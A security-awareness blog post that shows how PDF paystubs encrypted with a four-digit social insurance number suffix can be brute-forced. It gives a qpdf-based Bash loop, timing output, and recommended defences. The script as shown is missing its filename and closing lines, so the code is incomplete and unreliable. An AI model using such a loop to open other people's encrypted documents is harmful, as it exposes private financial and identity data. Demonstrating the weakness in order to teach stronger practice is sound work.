Brute-forcing Emailed PDF Paystub Passwords in 30 seconds

A recurring theme in my InfoSec career has been to expose people to how their seemingly-secure practices are actually very insecure. Today I will show one such practice that is quite common. The idea is insidious in that it lulls people into a false sense of security when it takes only a couple minutes to break. This is similar to the security awareness training I provide: I show the audience a physical lock that is heavy and has the words "Secure" engraved in it. Then I show how it can be picked in 8 seconds. Getting over this cognitive barrier – that something isn't inherently secure just because it looks that way – is tough for people when they first encounter security.

Companies email their employees their paystubs, T4s, or other sensitive documents. This, in itself, is a security risk as email is plaintext and can be stored by any Internet server along the way to its destination (i.e. Internet communications are not a straight line, the data bounces around different servers until it reaches its target). The addition of storing the sensitive information in encrypted PDFs poses a minor improvement to security, but I will show how this improvement is a red herring. Emailing encrypted PDFs is not a substitute for security because they now rely on the strength of the password and the PDF's encryption capabilities, both of which can be broken at a later date on someone else's computer with virtually unlimited time (what we call an offline attack). Computers are always getting faster, so the time it takes to break a password is always decreasing.

However, the key point here is that short passwords are always a bad idea because they can be easily broken. The threat here is that the email with the encrypted PDF is sent to the wrong person. Or perhaps someone left the company and now all their mail is forwarded to their manager. Regardless of how the email makes its way into another person's hands, they now have access to the encrypted PDF attachment and can attempt to break the encryption.


The first thing we will need to do is install qpdf, which is a command-line tool for decrypting and working with PDF files.

brew install qpdf

Next we will write a quick shell script to automate our actions. Looking at the math, consider that if a 4-digit SIN is used to encrypt the PDF, that means there are only 10,000 possible passwords to check (4 digits of 0 to 9, so 10*10*10*10). This is a paltry amount of passwords for a computer and, moreso, verifying PDF passwords can be done rapidly because there are no brute-force protections in place (e.g. waiting X seconds between password attempts).

Our brute-force logic can be easily encoded into a Bash shell script that is run from any Linux/Unix command line. Save this file as


# The first argument when calling this script is the filename of the
# encrypted PDF.

# Next we loop over a sequence from 0000 to 9999, because this
# constitutes the entire space of the last 4 digits of everyone's
# social insurance numbers.
for i in $(seq -w 1 9999); do

  # Call qpdf to try and decrypt the PDF file.  Throw away any results
  # because we only care about whether the task succeeded (through its
  # exit code).
  qpdf --decrypt --password=$i $1 decrypted.pdf > /dev/null 2>&1

  # If the exit code is 0, then the decryption succeeded and the
  # password worked.
  if [[ $? -eq 0 ]]; then

    # Stop processing and end the script.  We have found the password.
    echo "Password found: $i"

Timing this script shows that the password is brute-forced in 30 seconds. I have redacted the password for obvious reasons.

$ time ./ paystub.encrypted.pdf
Password found: ****

real    0m28.429s
user     0m7.452s
sys     0m16.560s

However, this time is quick because the script stops when it finds my password, which is not be true for everyone. Removing the break statement will tell us how long the brute-force will take to exhaust the entire 4-digit number space. Let's see the results now.

$ time ./ paystub.encrypted.pdf
Password found: ****

real    1m52.742s
user    0m31.013s
sys      1m4.473s

So we are looking at 2 minutes to brute-force the entire 4-digit space of an encrypted PDF on a Mid-2012 Macbook Pro. This is a 7 year old computer, with a laptop-specific CPU, so I expect a modern desktop computer with a high-performance CPU to reduce this time dramatically.


The proper solution to this problem is to never email PDFs. Instead, email a link where the user can download the file on their own terms. It doesn't matter whether the sending company builds that into their own system or a free service like is used, either is a good solution. In addition, that link can expire after X users or Y days, reducing the possibility of offline attacks.

However, this is where human nature complicates security. People want to be emailed their PDFs so that it removes a barrier to entry. Thus a compromise must be made that can ensure both usability and security. A solution to this is to increase the password length so the brute-force is infeasible, and let the user choose their own password (plus change it at will). In addition, do not use semi-public information like the last 4 digits of a social insurance number. It is too commonly used for identify verification and is not considered sensitive, so why should it be used for encrypting PDFs?

Lastly, it is important to add bulkheading into any security measures. This term comes from the the shipping industry and it ensures that the breach of one layer of security doesn't jeopardize the entire ship. In this situation, breaking one PDF encryption password and means all of the PDFs (past, present, and future) for one person will be broken. To combat this, changing the PDF encryption password regularly will ensure that the exposure of one password does not expose all encrypted PDFs sent to an employee.

Tags: security, privacy

« Previous: What I Do at Unbounce